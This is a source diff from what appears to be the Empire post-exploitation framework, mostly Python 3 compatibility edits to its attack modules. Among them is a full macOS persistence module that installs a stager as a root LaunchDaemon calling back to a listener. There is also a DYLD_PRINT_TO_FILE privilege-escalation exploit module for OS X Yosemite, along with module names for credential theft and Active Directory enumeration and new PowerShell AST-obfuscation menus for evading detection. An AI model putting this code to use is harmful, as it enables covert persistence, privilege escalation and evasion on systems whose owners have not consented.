82 # in case options are passed on the command line
83 if params:
84 for param in params:
85 # parameter format is [Name, Value]
86 option, value = param
87 if option in self.options:
88 self.options[option]['Value'] = value
89
90 def generate(self, obfuscate=False, obfuscationCommand=""):
91
92 daemonName = self.options['DaemonName']['Value']
93 programname = self.options['DaemonLocation']['Value']
94 plistfilename = "%s.plist" % daemonName
95 listenerName = self.options['Listener']['Value']
96 userAgent = self.options['UserAgent']['Value']
97 safeChecks = self.options['SafeChecks']['Value']
98 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
99 launcher = launcher.strip('echo').strip(' | python &').strip("\"")
100 machoBytes = self.mainMenu.stagers.generate_macho(launcherCode=launcher)
101 encBytes = base64.b64encode(machoBytes)
102
103 plistSettings = """
104 <?xml version="1.0" encoding="UTF-8"?>
105 <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0">
106 <plist version="1.0">
107 <dict>
108 <key>Label</key>
109 <string>%s</string>
110 <key>ProgramArguments</key>
111 <array>
112 <string>%s</string>
113 </array>
114 <key>RunAtLoad</key>
115 <true/>
116 <key>KeepAlive</key>
117 <true/>
118 </dict>
119 </plist>
120 """ % (daemonName, programname)
121
122 script = """
123 import subprocess
124 import sys
125 import base64
126 import os
127
128 encBytes = "%s"
129 bytes = base64.b64decode(encBytes)
130 plist = \"\"\"
131 %s
132 \"\"\"
133 daemonPath = "%s"
134
135 if not os.path.exists(os.path.split(daemonPath)[0]):
136 os.makedirs(os.path.split(daemonPath)[0])
137
138
139 e = open(daemonPath,'wb')
140 e.write(bytes)
141 e.close()
142
143 os.chmod(daemonPath, 0777)
144
145 f = open('/tmp/%s','w')
146 f.write(plist)
147 f.close()
148
149 process = subprocess.Popen('chmod 644 /tmp/%s', stdout=subprocess.PIPE, shell=True)
150 process.communicate()
151
152 process = subprocess.Popen('chown -R root /tmp/%s', stdout=subprocess.PIPE, shell=True)
153 process.communicate()
154
155 process = subprocess.Popen('chown :wheel /tmp/%s', stdout=subprocess.PIPE, shell=True)
156 process.communicate()
157
158 process = subprocess.Popen('mv /tmp/%s /Library/LaunchDaemons/%s', stdout=subprocess.PIPE, shell=True)
159 process.communicate()
160
161 process = subprocess.Popen('launchctl load /Library/LaunchDaemons/%s', stdout=subprocess.PIPE, shell=True)
162 process.communicate()
163
164 print "\\n[+] Persistence has been installed: /Library/LaunchDaemons/%s"
165 print "\\n[+] Empire daemon has been written to %s"
166
167 """ % (encBytes,plistSettings, programname, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, plistfilename, programname)
168
169 return script
+2
-1
lib/modules/python/persistence/osx/loginhook.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+4
-1
lib/modules/python/persistence/osx/mail.py less more
0 from builtins import str
1 from builtins import range
2 from builtins import object
03 from time import time
14 from random import choice
25 from string import ascii_uppercase
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
+2
-1
lib/modules/python/privesc/linux/linux_priv_checker.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+3
-1
lib/modules/python/privesc/linux/unix_privesc_check.py less more
0 class Module:
0 from builtins import str
1 from builtins import object
2 class Module(object):
13
24 def __init__(self, mainMenu, params=[]):
35
+2
-1
lib/modules/python/privesc/multi/bashdoor.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+4
-2
lib/modules/python/privesc/multi/sudo_spawn.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
9496 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
9597
9698 if launcher == "":
97 print helpers.color("[!] Error in launcher command generation.")
99 print(helpers.color("[!] Error in launcher command generation."))
98100 return ""
99101 else:
100102
+66
-63
lib/modules/python/privesc/osx/dyld_print_to_file.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3
4 class Module:
5
5 class Module(object):
6
67 def __init__(self, mainMenu, params=[]):
78 # metadata info about the module, not modified during runtime
89 self.info = {
910 # name for the module that will appear in module menus
1011 'Name': 'Mac OSX Yosemite DYLD_PRINT_TO_FILE Privilege Escalation',
11
12
1213 # list of one or more authors for the module
1314 'Author': ['@checky_funtime'],
14
15
1516 # more verbose multi-line description of the module
16 'Description': ('This modules takes advantage of the environment variable DYLD_PRINT_TO_FILE in order to escalate privileges on all versions Mac OS X Yosemite'
17 'WARNING: In order for this exploit to be performed files will be overwritten and deleted. This can set off endpoint protection systems and as of initial development, minimal testing has been performed.'),
18
17 'Description': (
18 'This modules takes advantage of the environment variable DYLD_PRINT_TO_FILE in order to escalate privileges on all versions Mac OS X Yosemite'
19 'WARNING: In order for this exploit to be performed files will be overwritten and deleted. This can set off endpoint protection systems and as of initial development, minimal testing has been performed.'),
20
1921 # True if the module needs to run in the background
2022 'Background': False,
21
23
2224 # File extension to save the file as
2325 # no need to base64 return data
2426 'OutputExtension': None,
25
27
2628 # True if the method doesn't touch disk/is reasonably opsec safe
2729 'OpsecSafe': False,
28
30
2931 # the module language
30 'Language' : 'python',
31
32 'Language': 'python',
33
3234 # the minimum language version needed
33 'MinLanguageVersion' : '2.6',
34
35 'NeedsAdmin' : False,
36
35 'MinLanguageVersion': '2.6',
36
37 'NeedsAdmin': False,
38
3739 # list of any references/other comments
3840 'Comments': [
3941 'References:',
4042 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/dyld_print_to_file_root.rb',
41 'http://www.sektioneins.com/en/blog/15-07-07-dyld_print_to_file_lpe.html'
43 'http://www.sektioneins.com/en/blog/15-07-07-dyld_print_to_file_lpe.html'
4244 ]
4345 }
44
46
4547 # any options needed by the module, settable during runtime
4648 self.options = {
4749 # format:
4850 # value_name : {description, required, default_value}
4951 'Agent': {
5052 # The 'Agent' option is the only one that MUST be in a module
51 'Description' : 'Agent used to Privesc from',
52 'Required' : True,
53 'Value' : ''
54 },
53 'Description': 'Agent used to Privesc from',
54 'Required': True,
55 'Value': ''
56 },
5557 'FileName': {
56 # The 'Agent' option is the only one that MUST be in a module
57 'Description' : 'The filename to use when the temporary file is dropped to disk.',
58 'Required' : True,
59 'Value' : 'error.log'
60 },
61 'Listener' : {
62 'Description' : 'Listener to use.',
63 'Required' : True,
64 'Value' : ''
58 # The 'Agent' option is the only one that MUST be in a module
59 'Description': 'The filename to use when the temporary file is dropped to disk.',
60 'Required': True,
61 'Value': 'error.log'
6562 },
66 'SafeChecks' : {
67 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
68 'Required' : True,
69 'Value' : 'True'
70 },
71 'UserAgent' : {
72 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
73 'Required' : False,
74 'Value' : 'default'
75 },
76 'WriteablePath' : {
77 'Description' : 'Full path to where the file should be written. Defaults to /tmp/.',
78 'Required' : True,
79 'Value' : '/tmp/'
80 }
81 }
82
63 'Listener': {
64 'Description': 'Listener to use.',
65 'Required': True,
66 'Value': ''
67 },
68 'SafeChecks': {
69 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
70 'Required': True,
71 'Value': 'True'
72 },
73 'UserAgent': {
74 'Description': 'User-agent string to use for the staging request (default, none, or other).',
75 'Required': False,
76 'Value': 'default'
77 },
78 'WriteablePath': {
79 'Description': 'Full path to where the file should be written. Defaults to /tmp/.',
80 'Required': True,
81 'Value': '/tmp/'
82 }
83 }
84
8385 # save off a copy of the mainMenu object to access external functionality
8486 # like listeners/agent handlers/etc.
85 self.mainMenu = mainMenu
87 self.mainMenu = mainMenu
8688 # During instantiation, any settable option parameters
8789 # are passed as an object set to the module and the
8890 # options dictionary is automatically set. This is mostly
9395 option, value = param
9496 if option in self.options:
9597 self.options[option]['Value'] = value
96
98
9799 def generate(self, obfuscate=False, obfuscationCommand=""):
98
100
99101 # the Python script itself, with the command to invoke
100102 # for execution appended to the end. Scripts should output
101103 # everything to the pipeline for proper parsing.
102104 #
103105 # the script should be stripped of comments, with a link to any
104106 # original reference script included in the comments.
105 listenername = self.options['Listener']['Value']
106 userAgent = self.options['UserAgent']['Value']
107 safeChecks = self.options['SafeChecks']['Value']
108
109 launcher = self.mainMenu.stagers.generate_launcher(listenername, language='python', userAgent=userAgent, safeChecks=safeChecks)
110 if launcher == "":
111 print helpers.color("[!] Error in launcher generation")
112 launcher = launcher.replace("\"","\\\"")
113 fullPath = self.options['WriteablePath']['Value'] + self.options['FileName']['Value']
107 listenername = self.options['Listener']['Value']
108 userAgent = self.options['UserAgent']['Value']
109 safeChecks = self.options['SafeChecks']['Value']
110
111 launcher = self.mainMenu.stagers.generate_launcher(listenername, language='python', userAgent=userAgent,
112 safeChecks=safeChecks)
113 if launcher == "":
114 print(helpers.color("[!] Error in launcher generation"))
115 launcher = launcher.replace("\"", "\\\"")
116 fullPath = self.options['WriteablePath']['Value'] + self.options['FileName']['Value']
114117 fileName = self.options['FileName']['Value']
115118 script = """
116119 import os
125128 except:
126129 print "[!] Could not execute payload!"
127130
128 """ .format(fullpath=fullPath,filecontents=launcher, filename=fileName)
129
131 """.format(fullpath=fullPath, filecontents=launcher, filename=fileName)
132
130133 return script
+4
-2
lib/modules/python/privesc/osx/piggyback.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
9092 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
9193
9294 if launcher == "":
93 print helpers.color("[!] Error in launcher command generation.")
95 print(helpers.color("[!] Error in launcher command generation."))
9496 return ""
9597 else:
9698 launcher = launcher.replace("'", "\\'")
+2
-1
lib/modules/python/privesc/windows/get_gpppasswords.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/host/multi/SuidGuidSearch.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/host/osx/HijackScanner.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+3
-1
lib/modules/python/situational_awareness/host/osx/situational_awareness.py less more
00 #!/usr/bin/env python
1 class Module:
1 from builtins import str
2 from builtins import object
3 class Module(object):
24 def __init__(self, mainMenu, params=[]):
35 # metadata info about the module, not modified during runtime
46 self.info = {
+2
-1
lib/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/dscl_get_groups.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/dscl_get_users.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_computers.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_fileservers.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_groupmembers.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_groupmemberships.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_groups.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_ous.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_userinformation.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/active_directory/get_users.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/situational_awareness/network/dcos/chronos_api_add_job.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/dcos/chronos_api_start_job.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+51
-50
lib/modules/python/situational_awareness/network/dcos/etcd_crawler.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
33
4 class Module(object):
5
46 def __init__(self, mainMenu, params=[]):
5
7
68 # metadata info about the module, not modified during runtime
79 self.info = {
810 # name for the module that will appear in module menus
911 'Name': 'Etcd Crawler',
10
12
1113 # list of one or more authors for the module
12 'Author': ["@scottjpack",'@TweekFawkes'],
13
14 'Author': ["@scottjpack", '@TweekFawkes'],
15
1416 # more verbose multi-line description of the module
1517 'Description': ('Pull keys and values from an etcd configuration store'),
16
18
1719 # True if the module needs to run in the background
18 'Background' : True,
19
20 'Background': True,
21
2022 # File extension to save the file as
2123 'OutputExtension': "",
22
24
2325 # if the module needs administrative privileges
24 'NeedsAdmin' : False,
25
26 'NeedsAdmin': False,
27
2628 # True if the method doesn't touch disk/is reasonably opsec safe
27 'OpsecSafe' : True,
29 'OpsecSafe': True,
2830
2931 # the module language
30 'Language' : 'python',
31
32 'Language': 'python',
33
3234 # the minimum language version needed
33 'MinLanguageVersion' : '2.6',
34
35 'MinLanguageVersion': '2.6',
36
3537 # list of any references/other comments
3638 'Comments': ["Docs: https://coreos.com/etcd/docs/latest/api.html"]
3739 }
38
40
3941 # any options needed by the module, settable during runtime
4042 self.options = {
4143 # format:
4244 # value_name : {description, required, default_value}
43 'Agent' : {
45 'Agent': {
4446 # The 'Agent' option is the only one that MUST be in a module
45 'Description' : 'Agent to execute module on.',
46 'Required' : True,
47 'Value' : ''
47 'Description': 'Agent to execute module on.',
48 'Required': True,
49 'Value': ''
4850 },
49 'Target' : {
51 'Target': {
5052 # The 'Agent' option is the only one that MUST be in a module
51 'Description' : 'FQDN, domain name, or hostname to lookup on the remote target.',
52 'Required' : True,
53 'Value' : 'etcd.mesos'
53 'Description': 'FQDN, domain name, or hostname to lookup on the remote target.',
54 'Required': True,
55 'Value': 'etcd.mesos'
5456 },
55 'Port' : {
57 'Port': {
5658 # The 'Agent' option is the only one that MUST be in a module
57 'Description' : 'The etcd client communication port, typically 2379 or 1026.',
58 'Required' : True,
59 'Value' : '1026'
59 'Description': 'The etcd client communication port, typically 2379 or 1026.',
60 'Required': True,
61 'Value': '1026'
6062 },
61 'Depth' : {
63 'Depth': {
6264 # The 'Agent' option is the only one that MUST be in a module
63 'Description' : 'How far into the ETCD hierarchy to recurse. 0 for root keys only, "-1" for no limitation',
64 'Required' : True,
65 'Value' : '-1'
65 'Description': 'How far into the ETCD hierarchy to recurse. 0 for root keys only, "-1" for no limitation',
66 'Required': True,
67 'Value': '-1'
6668 }
6769 }
68
70
6971 # save off a copy of the mainMenu object to access external functionality
7072 # like listeners/agent handlers/etc.
7173 self.mainMenu = mainMenu
72
74
7375 # During instantiation, any settable option parameters
7476 # are passed as an object set to the module and the
7577 # options dictionary is automatically set. This is mostly
8082 option, value = param
8183 if option in self.options:
8284 self.options[option]['Value'] = value
83
84
85
8586 def generate(self, obfuscate=False, obfuscationCommand=""):
8687 target = self.options['Target']['Value']
87 #port = self.options['Port']['Value']
88 #print str("port: " + port)
89 #depth = self.options['Depth']['Value']
90 #print str("depth: " + port)
91 #if not type(depth) == type(1):
88 # port = self.options['Port']['Value']
89 # print str("port: " + port)
90 # depth = self.options['Depth']['Value']
91 # print str("depth: " + port)
92 # if not type(depth) == type(1):
9293 # depth = int(depth)
93 #if not type(port) == type(1):
94 # if not type(port) == type(1):
9495 # port = int(port)
95 port = self.options['Port']['Value']
96 depth = self.options['Depth']['Value']
97 #print str("target: " + target)
98 #print str("port: " + port)
99 #print str("depth: " + depth)
100
96 port = self.options['Port']['Value']
97 depth = self.options['Depth']['Value']
98 # print str("target: " + target)
99 # print str("port: " + port)
100 # print str("depth: " + depth)
101
101102 script = """
102103 import urllib2
103104 import json
130131
131132
132133 """ % (target, port, depth)
133
134
134135 return script
+2
-1
lib/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/find_fruit.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/gethostbyname.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/http_rest_api.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/port_scan.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+2
-1
lib/modules/python/situational_awareness/network/smb_mount.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/trollsploit/osx/change_background.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/trollsploit/osx/login_message.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/trollsploit/osx/say.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/trollsploit/osx/thunderstruck.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python_jobs_template.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+6
-3
lib/modules/python_template.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
9396 try:
9497 f = open(moduleSource, 'r')
9598 except:
96 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
99 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
97100 return ""
98101
99102 moduleCode = f.read()
102105 script = moduleCode
103106
104107 # add any arguments to the end execution of the script
105 for option, values in self.options.iteritems():
108 for option, values in self.options.items():
106109 if option.lower() != "agent":
107110 if values['Value'] and values['Value'] != '':
108111 if values['Value'].lower() == "true":
+87
-5
lib/powershell/Invoke-Obfuscation/Invoke-Obfuscation.ps1 less more
8383 [ScriptBlock]
8484 $ScriptBlock,
8585
86 [Parameter(Position = 0, ParameterSetName = 'ScriptBlock')]
86 [Parameter(Position = 0, ParameterSetName = 'ScriptPath')]
8787 [ValidateNotNullOrEmpty()]
8888 [String]
8989 $ScriptPath,
172172 If($PathTopsd1.Contains(' ')) {$PathTopsd1 = '"' + $PathTopsd1 + '"'}
173173 Write-Host "`n`nERROR: Invoke-Obfuscation module is not loaded. You must run:" -ForegroundColor Red
174174 Write-Host " Import-Module $PathTopsd1`n`n" -ForegroundColor Yellow
175 Start-Sleep -Seconds 3
175176 Exit
176177 }
177178
184185 # Main Menu.
185186 $MenuLevel = @()
186187 $MenuLevel+= , @($LineSpacing, 'TOKEN' , 'Obfuscate PowerShell command <Tokens>')
188 $MenuLevel+= , @($LineSpacing, 'AST' , "`tObfuscate PowerShell <Ast> nodes <(PS3.0+)>")
187189 $MenuLevel+= , @($LineSpacing, 'STRING' , 'Obfuscate entire command as a <String>')
188190 $MenuLevel+= , @($LineSpacing, 'ENCODING' , 'Obfuscate entire command via <Encoding>')
189 $MenuLevel+= , @($LineSpacing, 'LAUNCHER' , 'Obfuscate command args w/<Launcher> techniques (run once at end)')
191 $MenuLevel+= , @($LineSpacing, 'COMPRESS' , 'Convert entire command to one-liner and <Compress>')
192 $MenuLevel+= , @($LineSpacing, 'LAUNCHER' , 'Obfuscate command args w/<Launcher> techniques (run once at end)')
190193
191194 # Main\Token Menu.
192195 $MenuLevel_Token = @()
237240 $MenuLevel_Token_All = @()
238241 $MenuLevel_Token_All += , @($LineSpacing, '1' , "`tExecute <ALL> Token obfuscation techniques (random order)" , @('Out-ObfuscatedTokenCommandAll', '', ''))
239242
243 # Main\Token Menu.
244 $MenuLevel_Ast = @()
245 $MenuLevel_Ast += , @($LineSpacing, 'NamedAttributeArgumentAst' , 'Obfuscate <NamedAttributeArgumentAst> nodes')
246 $MenuLevel_Ast += , @($LineSpacing, 'ParamBlockAst' , "`t`tObfuscate <ParamBlockAst> nodes")
247 $MenuLevel_Ast += , @($LineSpacing, 'ScriptBlockAst' , "`t`tObfuscate <ScriptBlockAst> nodes")
248 $MenuLevel_Ast += , @($LineSpacing, 'AttributeAst' , "`t`tObfuscate <AttributeAst> nodes")
249 $MenuLevel_Ast += , @($LineSpacing, 'BinaryExpressionAst' , "`tObfuscate <BinaryExpressionAst> nodes")
250 $MenuLevel_Ast += , @($LineSpacing, 'HashtableAst' , "`t`tObfuscate <HashtableAst> nodes")
251 $MenuLevel_Ast += , @($LineSpacing, 'CommandAst' , "`t`tObfuscate <CommandAst> nodes")
252 $MenuLevel_Ast += , @($LineSpacing, 'AssignmentStatementAst' , "`tObfuscate <AssignmentStatementAst> nodes")
253 $MenuLevel_Ast += , @($LineSpacing, 'TypeExpressionAst' , "`tObfuscate <TypeExpressionAst> nodes")
254 $MenuLevel_Ast += , @($LineSpacing, 'TypeConstraintAst' , "`tObfuscate <TypeConstraintAst> nodes")
255 $MenuLevel_Ast += , @($LineSpacing, 'ALL' , "`t`t`tSelect <All> choices from above")
256
257 $MenuLevel_Ast_NamedAttributeArgumentAst = @()
258 $MenuLevel_Ast_NamedAttributeArgumentAst += , @($LineSpacing, '1' , 'Reorder e.g. <[Parameter(Mandatory, ValueFromPipeline = $True)]> --> <[Parameter(Mandatory = $True, ValueFromPipeline)]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.NamedAttributeArgumentAst'), 1))
259
260 $MenuLevel_Ast_ParamBlockAst = @()
261 $MenuLevel_Ast_ParamBlockAst += , @($LineSpacing, '1' , 'Reorder e.g. <Param([Int]$One, [Int]$Two)> --> <Param([Int]$Two, [Int]$One)>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.ParamBlockAst'), 1))
262
263 $MenuLevel_Ast_ScriptBlockAst = @()
264 $MenuLevel_Ast_ScriptBlockAst += , @($LineSpacing, '1' , 'Reorder e.g. <{ Begin {} Process {} End {} }> --> <{ End {} Begin {} Process {} }>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.ScriptBlockAst'), 1))
265
266 $MenuLevel_Ast_AttributeAst = @()
267 $MenuLevel_Ast_AttributeAst += , @($LineSpacing, '1' , 'Reorder e.g. <[Parameter(Position = 0, Mandatory)]> --> <[Parameter(Mandatory, Position = 0)]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.AttributeAst'), 1))
268
269 $MenuLevel_Ast_BinaryExpressionAst = @()
270 $MenuLevel_Ast_BinaryExpressionAst += , @($LineSpacing, '1' , 'Reorder e.g. <(2 + 3) * 4> --> <4 * (3 + 2)>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.BinaryExpressionAst'), 1))
271
272 $MenuLevel_Ast_HashtableAst = @()
273 $MenuLevel_Ast_HashtableAst += , @($LineSpacing, '1' , "Reorder e.g. <@{ProviderName = 'Microsoft-Windows-PowerShell'; Id = 4104}> --> <@{Id = 4104; ProviderName = 'Microsoft-Windows-PowerShell'}>" , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.HashtableAst'), 1))
274
275 $MenuLevel_Ast_CommandAst = @()
276 $MenuLevel_Ast_CommandAst += , @($LineSpacing, '1' , 'Reorder e.g. <Get-Random -Min 1 -Max 100> --> <Get-Random -Max 100 -Min 1>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.CommandAst'), 1))
277
278 $MenuLevel_Ast_AssignmentStatementAst = @()
279 $MenuLevel_Ast_AssignmentStatementAst += , @($LineSpacing, '1' , 'Rename e.g. <$Example = "Example"> --> <Set-Variable -Name Example -Value ("Example")>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.AssignmentStatementAst'), 1))
280
281 $MenuLevel_Ast_TypeExpressionAst = @()
282 $MenuLevel_Ast_TypeExpressionAst += , @($LineSpacing, '1' , 'Rename e.g. <[ScriptBlock]> --> <[Management.Automation.ScriptBlock]>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.TypeExpressionAst'), 1))
283
284 $MenuLevel_Ast_TypeConstraintAst = @()
285 $MenuLevel_Ast_TypeConstraintAst += , @($LineSpacing, '1' , 'Rename e.g. <[Int] $Integer = 1> --> <[System.Int32] $Integer = 1>' , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.TypeConstraintAst'), 1))
286
287 $MenuLevel_Ast_All = @()
288 $MenuLevel_Ast_All += , @($LineSpacing, '1' , "`tExecute <ALL> Ast obfuscation techniques" , @('Out-ObfuscatedAst', @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'), ''))
289
240290 # Main\String Menu.
241291 $MenuLevel_String = @()
242292 $MenuLevel_String += , @($LineSpacing, '1' , '<Concatenate> entire command' , @('Out-ObfuscatedStringCommand', '', 1))
254304 $MenuLevel_Encoding += , @($LineSpacing, '7' , "`tEncode entire command as <Special Characters>" , @('Out-EncodedSpecialCharOnlyCommand' , '', ''))
255305 $MenuLevel_Encoding += , @($LineSpacing, '8' , "`tEncode entire command as <Whitespace>" , @('Out-EncodedWhitespaceCommand' , '', ''))
256306
307 # Main\Compress Menu.
308 $MenuLevel_Compress = @()
309 $MenuLevel_Compress += , @($LineSpacing, '1' , "Convert entire command to one-liner and <compress>" , @('Out-CompressedCommand' , '', ''))
310
257311 # Main\Launcher Menu.
258312 $MenuLevel_Launcher = @()
259313 $MenuLevel_Launcher += , @($LineSpacing, 'PS' , "`t<PowerShell>")
590644 $BreadCrumbOCD += , @('clip++' ,'Clip++')
591645 $BreadCrumbOCD += , @('rundll++','RunDll++')
592646 $BreadCrumbOCD += , @('mshta++' ,'Mshta++')
647 $BreadCrumbOCD += , @('ast', 'AST')
593648
594649 $BreadCrumbArray = @()
595650 ForEach($Crumb in $BreadCrumb.Split('_'))
686741 $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>'))
687742 $LastPart = $LineValue.SubString($FirstPart.Length+$MiddlePart.Length+2)
688743 Write-Host "$FirstPart" -NoNewLine
689 Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan
744 If($MiddlePart.EndsWith("(PS3.0+)"))
745 {
746 Write-Host $MiddlePart -NoNewline -ForegroundColor Red
747 }
748 Else
749 {
750 Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan
751 }
690752 }
691753
692754 Write-Host $LastPart
11301192 # Save current ObfuscatedCommand to see if obfuscation was successful (i.e. no warnings prevented obfuscation from occurring).
11311193 $ObfuscatedCommandBefore = $Script:ObfuscatedCommand
11321194 $CmdToPrint = $NULL
1133
1134 If($Script:LauncherApplied)
1195 If($Function -eq 'Out-ObfuscatedAst' -AND $PSVersionTable.PSVersion.Major -lt 3)
1196 {
